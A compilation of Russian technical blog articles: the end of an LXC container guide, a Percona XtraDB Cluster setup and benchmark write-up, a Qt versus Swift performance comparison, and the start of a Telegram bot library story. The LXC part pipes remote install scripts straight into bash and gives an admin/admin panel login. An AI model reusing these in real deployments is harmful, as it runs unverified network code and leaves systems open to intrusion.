Создается виртуалка в /var/lib/lxc/<имя контейнера>
Там же лежит config. Заходим в него и правим сетевые настройки.
*Важно: все действия с конфигом нужно производить при выключенной виртуалке.*
```
# тип сети виртуальной машины
lxc.network.type = veth
# включаем контейнеру сеть
lxc.network.flags = up
# обозначение сетевого интерфейса в контейнере
lxc.network.name = eth0
# его "пара" в хост-машине
lxc.network.veth.pair = veth-01
# интерфейс для связи с внешним миром
lxc.network.link = br0
# шлюз
lxc.network.ipv4.gateway = 192.168.0.1
# MAC адрес виртуалки
lxc.network.hwaddr = 00:16:3e:6b:c7:5b
# IP и именно в таком виде для создания корректной маски
lxc.network.ipv4 = 192.168.0.11/24
```
Далее, пробуем запустить виртуалку:
```
lxc-start -n test_01
```
Данная команда запускает контейнер и сразу делает login в неё. Пользователю предлагается ввести имя пользователя и пароль к виртуалке. Пароль создается во время первого запуска виртуалки и показывается на экране. Важно не забыть его записать! Но даже если забыли, можно сбросить пароль из хост-машины командой:
```
chroot /var/lib/lxc/<имя виртуалки>/rootfs
```
затем:
```
passwd
```
ввести новый пароль. И возвращаемся в хост-машину:
```
exit
```
Чтобы запустить контейнер не входя в него, используем команду:
```
lxc-start -n test_01 –d
```
Остановить:
```
lxc-stop –n test_01
```
Если по каким-то причинам контейнер не запустился, можно включить лог командой:
```
lxc-start --logfile=/var/log/lxc.log -d -n test_01
```
Если всё прошло удачно и контейнер запустился, то на хост-машине можно увидеть сетевой интерфейс без IP с именем, указанным в конфиге контейнера.
```
veth-01 Link encap:Ethernet HWaddr fe:2b:3a:ea:60:3f
inet6 addr: fe80::fc2b:3aff:feea:603f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:21888 errors:0 dropped:0 overruns:0 frame:0
TX packets:83943 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1688238 (1.6 MiB) TX bytes:65591423 (62.5 MiB)
```
Далее можно проверить связь, пропинговав виртуалку и зайти в неё через консоль. С хост-машины в неё можно зайти командой:
```
lxc-console -n test_01
```
Выйти из консоли можно, нажав сочетания «Ctrl+a» и затем «q». Просмотр всех виртуалок:
```
lxc-ls –f
```
Для удобства управления и мониторинга можно установить LXC Web Panel:
```
wget https://lxc-webpanel.github.io/tools/install.sh -O - | bash
```
После того, как установится, можно зайти на неё, набрав в браузере *[your\_ip\_address](http://your_ip_address):5000/*. Логин *admin*, пароль *admin*. Для периодического обновления web-панели используем команду:
```
wget https://lxc-webpanel.github.io/tools/update.sh -O - | bash
```
**Вывод**
Данная система виртуализации на первый взгляд кажется несколько неудобной в настройке, но мне она понравилась из-за своей лаконичности и простоты использования. Когда надо поднять и протестировать какой-то сервис, но при этом не хочется забивать мусором боевой сервер, LXC – подходящее решение. Изучив эту технологию, я вижу в ней довольно широкие возможности по настройке и перспективы проекта в будущем.
PS: Надеюсь, данная статья не даст наступить на одни и те же грабли и сэкономит время тем, кто решит попробовать LXC в качестве системы виртуализации на уровне операционной системы.
Статьи, которые вдохновили и помогли в написании этого топика:
[Наш опыт тестирования LXC (Linux Containers) на примере Debian Wheezy](http://habrahabr.ru/company/centosadmin/blog/202482/)
<http://xgu.ru/wiki/LXC>
[lxc — нативные контейнеры Linux](http://habrahabr.ru/post/74808/) | https://habr.com/ru/post/271537/ | null | ru | null |
# Percona XtraDB Cluster. Установка и тестирование
Некоторое время назад я задумался о повышении доступности серверов своего проекта. Всё решалось относительно легко за исключением MySQL базы данных. Репликация типа мастер-мастер создаёт проблемы с синхронизацией индексов, а кластерное решение NDBcluster хоть и стремительно развивается, но до сих под не годится для миграции на него готового проекта ввиду большого списка различий и ограничений.
Но есть альтернативное решение под названием Galera Cluster, на котором основан Percona XtraDB Cluster, об установке, настройке и тестировании которого применительно к Ubuntu я и расскажу.
#### Чем это лучше NDBcluster?
Во-первых: меньшим количеством ограничений (список ограничений NDBcluster: [dev.mysql.com/doc/refman/5.5/en/mysql-cluster-limitations.html](http://dev.mysql.com/doc/refman/5.5/en/mysql-cluster-limitations.html), список ограничений XtraDB Cluster: [www.percona.com/doc/percona-xtradb-cluster/limitation.html](http://www.percona.com/doc/percona-xtradb-cluster/limitation.html)).
Мне пришлось только переделать немногочисленные MyISAM таблицы в InnoDB.
Во-вторых: множественными патчами MySQL движка кода от Перконы.
В-третьих: возможностью работы в двухнодовой конфигурации (сразу оговорюсь, что это годно разве что для тестирования).
Ну и наконец, форки MySQL сейчас в тренде :)
#### Чем это лучше Galera Cluster прикрученного к форку MySQL?
Наличием утилиты xtrabackup, которая позволяет на лету делать бэкапы. Это полезно тем, что при подключении новой ноды к кластеру не придётся останавливать никакую из работающих нод для слива базы с неё.
#### Установка
Установка под Ubuntu, как водится, элементарна:
```
gpg --keyserver hkp://keys.gnupg.net --recv-keys 1C4CBDCDCD2EFD2A
gpg -a --export CD2EFD2A | sudo apt-key add -
sudo apt-get update
sudo apt-get install percona-xtradb-cluster-server-5.5
```
Иногда ругается на нерешаемые зависимости. Тогда достаточно сначала установить зависимости, а потом сам сервер.
Сначала ничего не меняя в настройках надо зайти в mysql консоль (достаточно на узле, который будут запущен первым) и добавить юзера для бэкапа:
```
grant RELOAD, LOCK TABLES, REPLICATION CLIENT, FILE on *.* to backup@localhost identified by 'password';
```
Потом потребуется одна небольшая переделочка. Дело в том что в Убунте симлинк с sh ведёт на dash, а стартовый скрипт кластера заточен под bash. Если нет никаких противопоказаний, можно уладить это общесистемно:
```
dpkg-reconfigure dash
```
Ответить «нет».
Так как базы после запуска кластера станут полностью идентичными, то и пароль системного юзера на всех нодах станет как на первой. Поэтому надо скопировать файл /etc/mysql/debian.cnf с сервера, который будет запущен первым на остальные.
Мои конфиги выглядят так:
```
[mysqld_safe]
wsrep_urls=gcomm://192.168.1.1:3400,gcomm://192.168.1.2:3400,gcomm://
[mysqld]
port=3306
socket=/var/run/mysqld/mysqld.sock
datadir=/var/lib/mysql
basedir=/usr
user=mysql
log_error=error.log
binlog_format=ROW
wsrep_provider=/usr/lib/libgalera_smm.so
wsrep_sst_receive_address=192.168.1.1:3500
wsrep_node_incoming_address=192.168.1.1
wsrep_slave_threads=2
wsrep_cluster_name=cluster0
wsrep_provider_options="gmcast.listen_addr=tcp://192.168.1.1:3400;"
wsrep_sst_method=xtrabackup
wsrep_sst_auth=backup:password
wsrep_node_name=node0
innodb_locks_unsafe_for_binlog=1
innodb_autoinc_lock_mode=2
innodb_buffer_pool_size=5000M
innodb_log_file_size=256M
innodb_log_buffer_size=4M
[client]
port=3306
socket=/var/run/mysqld/mysqld.sock
```
Проверьте расположение libgalera\_smm.so.
Значение параметра wsrep\_slave\_threads рекомендуется ставить как количество ядер\*4.
В wsrep\_sst\_auth указывается логин и пароль пользователя для бэкапов.
innodb\_buffer\_pool\_size, innodb\_log\_file\_size, innodb\_log\_buffer\_size — влияют на производительность, и подбираются экспериментальным путём. В моём случае на каждом узле стоит 8 гигов ОЗУ.
Для добавления нод надо добавлять их в строку wsrep\_urls (в конце строки должна быть пустая запись).
Все ip адреса, встречающиеся в файле (кроме строки wsrep\_urls) указывают на адрес текущей ноды. Их и надо менять при распространении этого файла на остальные узлы. Также надо менять имя ноды в wsrep\_node\_name.
В моей настройке порт 3400 используется для синхронизации, порт 3500 — для заливки дампа, порт 3306 (стандартный) — для подключения клиента.
> Можно запустить несколько нод на одной машине, выдав им разные порты. Если решите так сделать, то надо насоздавать несколько конфигурационных файлов в /etc/mysql и запускать сервер например такой командой:
>
>
> ```
> /usr/bin/mysqld_safe --defaults-file=/etc/mysql/my0.cnf
>
> ```
>
>
> Учтите, что xtrabackup умеет подключаться только по стандартному сокету /var/run/mysqld/mysqld.sock (параметры из конфига игнорирует). Так что в этом случае придётся его не использовать: wsrep\_sst\_method=rsync
>
>
Ну и в завершение, перезапускаем демона:
```
sudo service mysql restart
```
Если что-то пошло не так, смотрим в /var/lib/mysql/error.log.
Обычно надо стереть /var/lib/mysql/ib\_logfile\* из-за изменения размеров лога в конфиге.
Иногда проще стереть вообще весь /var/lib/mysql/ (если в базах нет ничего ценного) и пересоздать дефолтные базы:
```
mysql_install_db
```
Ещё некоторые возможные ошибки я привёл в конце статьи.
#### Количество узлов
Производитель рекомендует не менее трёх, но есть отличия от NDB: изначально все ноды одного ранга и имеют одинаковый функционал. Ничто не мешает сделать и 2 ноды.
С двухнодовой конфигурацией всё просто и грустно: работает пока не пропадёт связь между узлами. В этом случае кластер в целях защиты от split-brain вообще не даёт ничего делать. Есть пара опций для конфига, при которых он будет работать даже при обрыве связи, но, понятно дело, вреда от них больше чем пользы — при появлении связи то мы получим 2 разных копии базы, которые непонятно как объединять.
Вариант с тремя нодами в моём случае не подходил, так как у меня только 2 сервера на колокейшене, и добавленный к ним третий где-нибудь на офисном канале сильно бы подпортил производительность, ведь скорость работы кластера определяется скоростью работы самого медленного его узла.
Но есть решение: Galera Arbitator. Это неполноценный узел, который не хранит баз, и которому не нужен быстрый канал, но пока нода держит с ним связь она будет продолжать работать. Этот узел настолько неполноценный, что он даже конфиг не использует, все параметры передаются ему через командную строку.
Из параметров нужен только адрес одной из нормальных нод и название кластера:
```
garbd -a gcomm://192.168.1.1:3400 -g cluster0
```
#### Тесты
Тестировал стандартной утилитой sql-bench из пакета test сначала узлы по отдельности, а потом кластер. Софт при этом не менялся — percona-xtradb-cluster.
Установка и запуск тестового пакета:
```
apt-get install percona-server-test-5.5 libdbd-mysql-perl
cd /usr/share/sql-bench/sql-bench/
perl run-all-tests --server=mysql --user=root --password=
```
Сначала тестировал на двух идентичных быстрых машинах с SSD.
Результаты первого прогона выкинул, так как они были в насколько раз лучше последующих (спишем на чистые SSD).
Это 1 нода:
```
alter-table: Total time: 17 wallclock secs ( 0.04 usr 0.00 sys + 0.00 cusr 0.00 csys = 0.04 CPU)
ATIS: Total time: 7 wallclock secs ( 2.48 usr 0.16 sys + 0.00 cusr 0.00 csys = 2.64 CPU)
big-tables: Total time: 10 wallclock secs ( 1.87 usr 0.34 sys + 0.00 cusr 0.00 csys = 2.21 CPU)
connect: Total time: 64 wallclock secs (19.80 usr 5.68 sys + 0.00 cusr 0.00 csys = 25.48 CPU)
create: Total time: 548 wallclock secs ( 3.35 usr 1.66 sys + 0.00 cusr 0.00 csys = 5.01 CPU)
insert: Total time: 531 wallclock secs (155.04 usr 19.15 sys + 0.00 cusr 0.00 csys = 174.19 CPU)
select: Total time: 168 wallclock secs (17.93 usr 1.90 sys + 0.00 cusr 0.00 csys = 19.83 CPU)
transactions: Test skipped because the database doesn't support transactions
wisconsin: Total time: 5 wallclock secs ( 1.31 usr 0.18 sys + 0.00 cusr 0.00 csys = 1.49 CPU)
```
Это кластер:
```
alter-table: Total time: 21 wallclock secs ( 0.04 usr 0.05 sys + 0.00 cusr 0.00 csys = 0.09 CPU)
ATIS: Total time: 21 wallclock secs ( 2.76 usr 0.30 sys + 0.00 cusr 0.00 csys = 3.06 CPU)
big-tables: Total time: 17 wallclock secs ( 1.98 usr 0.40 sys + 0.00 cusr 0.00 csys = 2.38 CPU)
connect: Total time: 67 wallclock secs (21.13 usr 5.59 sys + 0.00 cusr 0.00 csys = 26.72 CPU)
create: Total time: 597 wallclock secs ( 3.55 usr 1.55 sys + 0.00 cusr 0.00 csys = 5.10 CPU)
insert: Total time: 1710 wallclock secs (164.66 usr 35.25 sys + 0.00 cusr 0.00 csys = 199.91 CPU)
select: Total time: 187 wallclock secs (19.49 usr 2.44 sys + 0.00 cusr 0.00 csys = 21.93 CPU)
transactions: Test skipped because the database doesn't support transactions
wisconsin: Total time: 47 wallclock secs ( 1.62 usr 0.88 sys + 0.00 cusr 0.00 csys = 2.50 CPU)
```
Падение в 3 раза на операциях записи и серьёзное (если не сказать эпичное) падение на висконсиновском тесте, где по идее должны перемежаться операции чтения и записи.
Не знаю почему ругается на транзакции. На самом деле они работают.
Возникло предположение, что всё упирается в скорость работы сети, поэтому протестировал и на машинках (уже не идентичных) с винчестерами.
Первая нода отдельно:
```
alter-table: Total time: 55 wallclock secs ( 0.04 usr 0.02 sys + 0.00 cusr 0.00 csys = 0.06 CPU)
ATIS: Total time: 10 wallclock secs ( 2.40 usr 0.14 sys + 0.00 cusr 0.00 csys = 2.54 CPU)
big-tables: Total time: 7 wallclock secs ( 1.23 usr 0.15 sys + 0.00 cusr 0.00 csys = 1.38 CPU)
connect: Total time: 53 wallclock secs (16.31 usr 7.65 sys + 0.00 cusr 0.00 csys = 23.96 CPU)
create: Total time: 3215 wallclock secs ( 2.58 usr 0.83 sys + 0.00 cusr 0.00 csys = 3.41 CPU)
insert: Total time: 541 wallclock secs (142.41 usr 22.53 sys + 0.00 cusr 0.00 csys = 164.94 CPU)
select: Total time: 154 wallclock secs (12.66 usr 1.34 sys + 0.00 cusr 0.00 csys = 14.00 CPU)
transactions: Test skipped because the database doesn't support transactions
wisconsin: Total time: 4 wallclock secs ( 1.15 usr 0.29 sys + 0.00 cusr 0.00 csys = 1.44 CPU)
```
Вторая нода отдельно:
```
alter-table: Total time: 59 wallclock secs ( 0.03 usr 0.03 sys + 0.00 cusr 0.00 csys = 0.06 CPU)
ATIS: Total time: 11 wallclock secs ( 2.35 usr 0.23 sys + 0.00 cusr 0.00 csys = 2.58 CPU)
big-tables: Total time: 11 wallclock secs ( 1.92 usr 0.30 sys + 0.00 cusr 0.00 csys = 2.22 CPU)
connect: Total time: 64 wallclock secs (19.67 usr 5.84 sys + 0.00 cusr 0.00 csys = 25.51 CPU)
create: Total time: 4592 wallclock secs ( 3.90 usr 1.39 sys + 0.00 cusr 0.00 csys = 5.29 CPU)
insert: Total time: 581 wallclock secs (148.16 usr 19.80 sys + 0.00 cusr 0.00 csys = 167.96 CPU)
select: Total time: 168 wallclock secs (18.45 usr 2.07 sys + 0.00 cusr 0.00 csys = 20.52 CPU)
transactions: Test skipped because the database doesn't support transactions
wisconsin: Total time: 5 wallclock secs ( 1.18 usr 0.25 sys + 0.00 cusr 0.00 csys = 1.43 CPU)
```
Кластер:
```
alter-table: Total time: 110 wallclock secs ( 0.04 usr 0.02 sys + 0.00 cusr 0.00 csys = 0.06 CPU)
ATIS: Total time: 496 wallclock secs ( 1.61 usr 0.17 sys + 0.00 cusr 0.00 csys = 1.78 CPU)
big-tables: Total time: 116 wallclock secs ( 1.02 usr 0.16 sys + 0.00 cusr 0.00 csys = 1.18 CPU)
connect: Total time: 34 wallclock secs (10.98 usr 2.49 sys + 0.00 cusr 0.00 csys = 13.47 CPU)
create: Total time: 4638 wallclock secs ( 2.42 usr 0.91 sys + 0.00 cusr 0.00 csys = 3.33 CPU)
insert: Estimated total time: 43470.8 wallclock secs (106.50 usr 15.34 sys + 0.00 cusr 0.00 csys = 121.84 CPU)
select: Total time: 631 wallclock secs (11.02 usr 1.02 sys + 0.00 cusr 0.00 csys = 12.04 CPU)
transactions: Test skipped because the database doesn't support transactions
wisconsin: Total time: 1576 wallclock secs ( 1.37 usr 0.44 sys + 0.00 cusr 0.00 csys = 1.81 CPU)
```
Однако предположение не подтвердилось: операция записи на винчестерных компьютерах в кластере замедлилась аж в 10 раз. Чем это объяснить — я не знаю.
Что касается использования это в реальном продакшене — каждый выбирает для себя. Мне такое относительное снижение производительности некритично ввиду малых абсолютных цифр.
#### Возможные проблемы и методы их решения
1.
```
WSREP: Process completed with error: wsrep_sst_xtrabackup 'donor' '192.168.1.1:6000/xtrabackup_sst' 'backup:password' '/var/lib/mysql2/' '/etc/mysql/my2.cnf' '9bdd7773-0cb4-11e2-0800-8e876ebc6b70' '0' '0': 22 (Invalid argument)
```
xtrabackup не смог подключиться к базе. Вы точно не пытаетесь сделать несколько нод на одной машине? Смотрите подробности в innobackup.backup.log.
2.
```
121002 15:19:54 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql0
/usr/bin/mysqld_safe: 172: [: gcomm://: unexpected operator
```
Вместо bash используется другой интерпретатор. Либо в mysqld\_safe измените первую строку, либо правьте симлинки.
3. Если MyISAM таблицы создаются, но не наполняются из дампа, то так и должно быть: поддерживается только InnoDB.
4. Если на все команды пишущие или читающие данные, MySQL клиент выдаёт «Unknown command»: это защита от split-brain при обрыве связи между узлами. | https://habr.com/ru/post/152969/ | null | ru | null |
# Замеряем производительность Qt
Решила продолжить цикл статей об ОС «Аврора» (до недавнего времени называвшейся Sailfish). За время, что я работаю с этой ОС, у меня накопились разные наблюдения, которые касаются производительности приложений на Qt и системы в целом, ибо девайсами разнообразными обвешана, аки ёлка новогодняя, все мелочи при запуске подмечаю. Думаю, что это может быть интересно и полезно коллегам, кто тоже работает с Qt (или в скором времени будет работать). Предлагайте, что можно протестировать ещё.
Я программирую на Qt и часто обсуждаю с коллегами, iOS-разработчиками, сходства, различия и преимущества подходов. В какой-то момент мы всё-таки решили перейти от слов к делу и провести замеры. Android-программиста, готового участвовать в наших развлечениях, мы так и не нашли, так что сравнение с участием цифр и таблиц будет только для Swift и C++.
Хочу напомнить, что Qt/C++ не навязывает свой механизм управления памятью, и пользователь сам решает этот вопрос в рамках доступных в C++ возможностей, в то время как в Swift используется подсчёт ссылок, а в Java — сборщик мусора. Таким образом у программиста появляется возможность взаимодействовать с памятью эффективнее. Для того, чтобы отправить http-запрос или считать данные из базы данных, Qt полагается на собственные силы, а не использует готовые фреймворки, которые предоставляет ОС. Исключения — взаимодействие с клавиатурой, отрисовка стартового окна приложения, вывод уведомлений и другие вещи.
Тест 1.
-------
Первым делом мы решили написать простенький алгоритм (решето Эратосфена), позапускать его на больших числах и сравнить время вычислений. Запускали на iPhone 7.
**Программа на Swift:**
```
swift
//
// ViewController.swift
// Eratosthenes
//
// Created by Dmitry Shadrin on 22/11/2018.
// Copyright 2018 Digital Design. All rights reserved.
//
import UIKit
class ViewController: UIViewController {
@IBOutlet weak var digitTextField: UITextField!
@IBOutlet weak var timeLabel: UILabel!
@IBAction func startAction(_ sender: UIButton) {
guard let text = digitTextField.text,
let number = Int(text)
else { return }
prime(n: number)
}
func prime(n: Int) {
let startTime = DispatchTime.now()
let _ = PrimeSequence(upTo: n)
.reduce(into: [], { $0.append($1) }) // Тот самый массив с числами
let endTime = DispatchTime.now()
let time = (endTime.uptimeNanoseconds - startTime.uptimeNanoseconds)
timeLabel.text = "\(time)"
}
}
public struct PrimeSequence: Sequence {
private let iterator: AnyIterator
public init(upTo limit: Int) {
self.iterator = AnyIterator(EratosthenesIterator(upTo: limit))
}
public func makeIterator() -> AnyIterator {
return iterator
}
}
private struct EratosthenesIterator: IteratorProtocol {
let n: Int
var composite: [Bool]
var current = 2
init(upTo n: Int) {
self.n = n
self.composite = [Bool](repeating: false, count: n + 1)
}
mutating func next() -> Int? {
while current <= self.n {
if !composite[current] {
let prime = current
for multiple in stride(from: current \* current,
through: self.n, by: current) {
composite[multiple] = true
}
current += 1
return prime
}
current += 1
}
return nil
}
}
```
Подробно останавливаться на коде не буду, линейный Эратосфен не очевиден для понимания, тем более если один из языков вам не знаком. Вот ссылка с описанием: <https://e-maxx.ru/algo/prime_sieve_linear>, кому интересно, может проверить на честность. Кстати, версия swift оказалась чуть более оптимизирована в мелочах (можете их поискать), что не помешало плюсовой версии всё-таки выиграть в производительности.
**Программа на Qt:**
```
#include "eratosthenes.h"
#include
#include
#include
#include
#include
#include
#include
Eratosthenes::Eratosthenes(QObject \*parent)
{
time = 0;
}
void Eratosthenes::qtFunction(int n)
{
clock\_t start, end;
start = clock();
std::vector lp = std::vector(n + 1, 0);
std::vector pr;
// зарезервируем памяти под элементы с запасом
pr.reserve(std::sqrt(n) / 2);
for (int i = 2; i <= n; ++i) {
if (lp[i] == 0) {
lp[i] = i;
pr.emplace\_back(i);
}
for (int j = 0; j < pr.size() && pr[j] <= lp[i] && i \* pr[j] <= n; ++j) {
lp[i \* pr[j]] = pr[j];
}
}
end = clock();
time = (end - start) / (double)CLOCKS\_PER\_SEC;
pTimeChanged();
qDebug() << "Количество простых чисел" << pr.size() << "Время" << time;
}
```
Запускаем программу. Приложения имеют поле для ввода числа n, кнопку старт и поле с итоговым временем:
 
*Swift — слева, Qt — справа.*
**Результат.** Приведу таблицу замеров для разных n и в разные моменты времени:
Как видите, приложение на С++ в ~1.5 раза быстрее нативного при идентичных алгоритмах.
Тест 2.
-------
Естественно, вычисления в контексте мобильных приложений — штука важная, но далеко не единственная. Поэтому мы нарисовали ListView, состоящий из 1000 элементов, каждый из которых содержит текст и картинку, чтобы посмотреть ещё и на скорость отрисовки графических элементов. Ниже, в видеороликах, можно увидеть результат:
Qt:
Swift:
Визуально разница не заметна.
Тест 3.
-------
В ОС Sailfish мы имеем ядро Linux и графическую нативную оболочку на Qt, а это уже само по себе наталкивает на мысли о неплохой производительности этой ОС. Я часто замечаю, что Inoi R7 выигрывает по скорости выполнения некоторых задач, хотя рядом лежит и тем же самым занимается Samsung Galaxy S8. Так, например, Samsung Galaxy S8 отправляет, принимает, обрабатывает, упаковывает в БД и т.д. 10К http-запросов примерно за 3-4 минуты, а Inoi R7 всё то же самое делает минут 5-6. Учитывая разницу в производительности железа, результат впечатляющий.
Для более честной проверки производительности ОС я решила посмотреть на скорость отклика тача.
#### Test.cpp:
```
#include "mypainter.h"
#include
MyPainter::MyPainter(QQuickItem \*parent) : QQuickPaintedItem(parent)
{
}
void MyPainter::paint(QPainter \*painter)
{
QPen pen;
pen.setWidth(10);
pen.setColor(Qt::red);
painter->setPen(pen);
painter->drawPolyline(pol);
}
void MyPainter::xyCanged(int x, int y)
{
pol.append(QPoint(x, y));
update();
}
```
#### Test.qml:
```
import QtQuick 2.9
import QtQuick.Window 2.2
import Painter 1.0
Window {
visible: true
Painter
{
id: painter
anchors.fill: parent
MouseArea
{
anchors.fill: parent
onPressed:
{
painter.xyCanged(mouseX, mouseY)
}
onMouseXChanged:
{
painter.xyCanged(mouseX, mouseY)
}
onMouseYChanged:
{
painter.xyCanged(mouseX, mouseY)
}
}
}
}
```
Просто и незатейливо. Телефона, поддерживающего Sailfish и Android, в личном пользовании меня нет, потому пришлось искать у коллег телефон максимально близкий по характеристикам к Inoi r7, но на Android. Что внезапно оказалось очень сложно, учитывая, что сижу я в офисе мобильной разработки.
***Sony Xperia Z5 compact:**
Процессор — Qualcomm Snapdragon 810 MSM8994, 2000 MHz
Количество ядер процессора — 8
Видеопроцессор — Adreno 430
Объем встроенной памяти — 32 Гб
Объем оперативной памяти — 2 Гб*
***Inoi R7:**
Процессор — Qualcomm Snapdragon 212 MSM8909AA, 1200 МГц
Количество ядер процессора — 4
Видеопроцессор — Adreno 304
Объем встроенной памяти — 16 Гб
Объем оперативной памяти — 2 Гб*
Sony всё-таки оказалась мощнее, но для уравнения шансов включим на ней режим энергосбережения, всё равно это не приведёт к полному равенству мощности девайсов. На видео можно заметить, что на Android линия получается не настолько плавная, как на Sailfish.
Слева — Sony, справа — Inoi:
Не спорю, это все не очень серьёзный показатель, нужно сравнивать не только возможности чистого языка, но и разные библиотеки, нативные и кроссплатформенные, сравнивать их производительность и удобство в использовании, потому что очень мало приложений, которые используют только ListView и решето Эратосфена. Хотя все эти мелочи вместе для меня выглядят весьма убедительно.
#### Минусы
Конечно, всё не так радужно с Qt, как я пытаюсь тут расписать, минусы есть. Например, работой с TextInput на Android можно пытать особо чувствительных к костылям перфекционистов, потому что на каждом девайсе Qt умудряется ставить абсолютно уникальные палки в колёса при взаимодействии с клавиатурой. На одном телефоне картинка уезжает вверх, на другом — стоит на месте, но не работает EnterKey, на третьем всегда вводятся только заглавные буквы, и никак его не переубедить переключить на строчные. Продолжать можно до бесконечности. И всё это ещё и тормозит! (Ворчания актуальны только для Android, на Sailfish таких проблем не возникает, всё отлично работает). Кроме того, на Qt сложно добиться нативности внешнего вида приложения.
### Вывод
Главный вывод, который можно сделать: Qt, будучи кроссплатформенным инструментом, не уступает в производительности нативным средствам разработки. Он отлично подойдёт для программ, в которых помимо GUI есть ещё много математики, и в особенности для корпоративных приложений, где много нюансов и мало сотрудников, чтобы для каждой ОС не создавать самостоятельную версию. Корпоративным пользователям больше важны функции, чем нативность UI. Для «Авроры» Qt — нативное средство для разработки приложений, что, вероятно, даёт ещё какой-то прирост к производительности.
Было бы интересно испытать «Аврору» на мощном железе, вроде моего Galaxy S8. | https://habr.com/ru/post/457622/ | null | ru | null |
# Создаем библиотеку для бота telegram
История об и~~зучении~~ использовании python для написания ~~бота~~ библиотеки для ботов в telegram.
Код, описанием и историей которого является эта статья доступен по [ссылке](https://github.com/JouriM66/LinearBotLib).
Предыстория
-----------
Как-то в разговоре со знакомым, на тему проф ориентации и общей перспективности в смысле бабла, прозвучал вопрос: «Пишешь ли ты на питоне?»
Я ответил в том смысле, что на любых животных писать неудобно. Они либо кусаются, либо убегают, а часто одновременно и от этого адски страдает каллиграфия. А на круглых, к которым относится питон, как самоходный шланг, и пытаться-то глупо.
Оказалось, что речь шла не о хладнокровной, а об электронной сущности, в смысле языка программирования: «Знаешь о таком?»
Разумеется, я знал и, за следующие 15 секунд, я вывалил на собеседника все мои познания о том, что это очередной Н-плюс-первый птичий язык, на котором пишет довольно много народу, правда не особо понятно что именно и зачем, однако в моей жизни его необходимость в нем равна приблизительно нулю. «Хот нет, вру. Пацан для колледжа делал какую-то домашку именно на питоне и просил помочь там с чем-то. Писал какого-то «бота» для телеграмма.»
В ответ я узнал, что именно питон и именно телеграмм - это крайне модно, молодёжно, современно и вообще: бабы кончают, дети смеются.
- Ты хотя бы пробовал?
- Ну, это же телеграмм ставить надо… Это же какой-то чат в телефоне, правильно?
- Ясно с тобой все.
Рюмка чая, вместе с нашим с ним разговором, подошли к концу, но идея запала. Тем более, что у меня как раз была неделя, в которую я был практически абсолютно свободен аж до следующего понедельника. «Аж кончают… да ну нафик, брехня. Но глянуть можно… Вай бы и не нот, так сказать?».
### Начало
Чайник вскипел, чай налит, комп гудит: «Ну-с, и чего там оно этот питон?… Эй Влад, та на чем писал на этой фигне? Бесплатная? Ага качается. А писал чего? Бота? Ясно».
О самом питоне мне сказать особо нечего. В процессе поиска я наткнулся на фразу: «На python написано самое большое количество кода в мире», с которой теперь, спустя пару недель я бы поспорил.
Про "накрутку" для статистикиЕсли выкинуть из текста программ на питоне начальные пробелы и клепанный "self.", то рейтинг количества кода можно смело делить вдвое.
Ну да пусть она остается на совести создателя статьи, к делу это не относится.
В этой статье я не буду описывать ни как скачать PyCharm или десктопную версию телеграмма (зарегистрироваться в которой оказалось той еще проблемой, кстати), ни как создать своего бота и получить API Key. Этой 30-секундной информацией интернет просто завален. Будем подразумевать, что потенциальному читателю это либо вообще до фени, либо он способен эти операции произвести самостоятельно.
**Переходим к сути**
А суть в том, что после кое-какой настройки среда для написания кода готова, найдена и скачана библиотека для написания ботов в телеграмм, бегло просмотрены ее примеры, пастнуты в редактор кода и вот первый бот уже умеет говорить: «Я увидел: ‘ваш текст’».
В качестве библиотеки я выбрал «`aiogram`». Просто потому, что первые две попавшиеся были какие-то вообще крайне печально документированные. Ну да «опенсорс–же—блин», так что удивлен я не был, просто искал что-то следующее, где хотя бы примеры были на часть функционала. О своем выборе библиотеки не жалею. Она успешно работает, все свои функции выполняет без нареканий. Другое дело, что 60-80% ее функционала мне не пригодилось, но об этом будет чуть позже.
В принципе, можно использовать вообще любую библиотеку, реализующую АПИ телеграмма. Все они идентичны до синтаксиса, отличаясь нюансами наполнения.
**Кратко о функционировании ботов для телеграмм**
Бот – это `http` клиент, который посылает серверу телеграмм команды, получает в ответ результат их выполнения и, параллельно, события, которые произошли в области интереса бота с момента последнего запроса. Сам бот может быть запущен где угодно, лишь бы с того утюга, на котором он функционирует, был доступ к сайту телеграмма. Больше требований к месту его расположения никаких нет.
Это удобство.
Неудобство заключается в клиент-серверной идеологии самого АПИ. Реализация АПИ нас не волнует вообще, т.к. мы общаемся уже через библиотеку прокладку, но нас волнует событийность модели. Все библиотеки для работы с телеграмом которые я видел реализованы абсолютно одинаково:
1. есть бесконечный цикл запросов на получение новых событий от сервера
2. при получении событий дергаются куски пользовательского кода
Пользовательский код можно описывать с разной степенью «задекорированности», но так или иначе это всегда должен быть какой-то конечный кусок, реализующий действия по каждому элементарному событию. Учитывая то, что основных события всего два: текст сообщения и нажатие на кнопку в сообщении, то в пользовательской части весь код, по сути, состоит из вызова всего двух функций.
В этом заключается основная проблема т.к. реализовать сколько-нибудь сложную логику на двух асинхронно вызываемых функциях, дергаемых по каждому событию крайне сложно. Разумеется, я ознакомился с «типовыми» подходами по написанию кода в этих условиях. Я знаю о наличии декораторов с кучей условий, а так же хорошо знаком с концепцией конечного автомата.
Возможно из-за того, что я некоторые решения представляю себе довольно хорошо, я еще на берегу понял, что это тупиковый путь. Реализовать бота на событийной модели можно, но для этого нужно четкое описание логики «высеченное в граните». У меня же нет четко поставленной задачи по написанию чего-то конкретного, а титанизм усилий при попытке заменить на половине дороги логику обработки или используемый инструментарий я представлял замечательно, поэтому я даже пробовать не стал делать что-то сложнее примеров для ознакомления.
Второй «печальный» момент, с которым придется столкнуться при написании ботов – это, хм… невменяемость протокола. Прямо по нему видно, что его писали кусками в разное время и при добавлении чего-то нового ничего из старого никогда не менялось. В результате в протоколе нет практически ни одной сходной вещи, которые бы функционировали одинаково. Пара примеров. Есть два типа клавиатур, которые можно привязать к сообщению: `INLINE` и `KEYBOARD`.
Кроме слова «клавиатура» них нет ничего общего. Кнопки у них описываются по разному, имеют разный набор полей и даже сообщения с этими клавиатурами ведут себя различно и несовместимо. Сообщения с картинкой и типом «photo» – это отдельная сущность, которая с другими сообщениями имеет мало общего. У него даже текст подписи называется «caption» вместо «text». Сообщения с другими «вложениями» - это опять отдельные сущности.
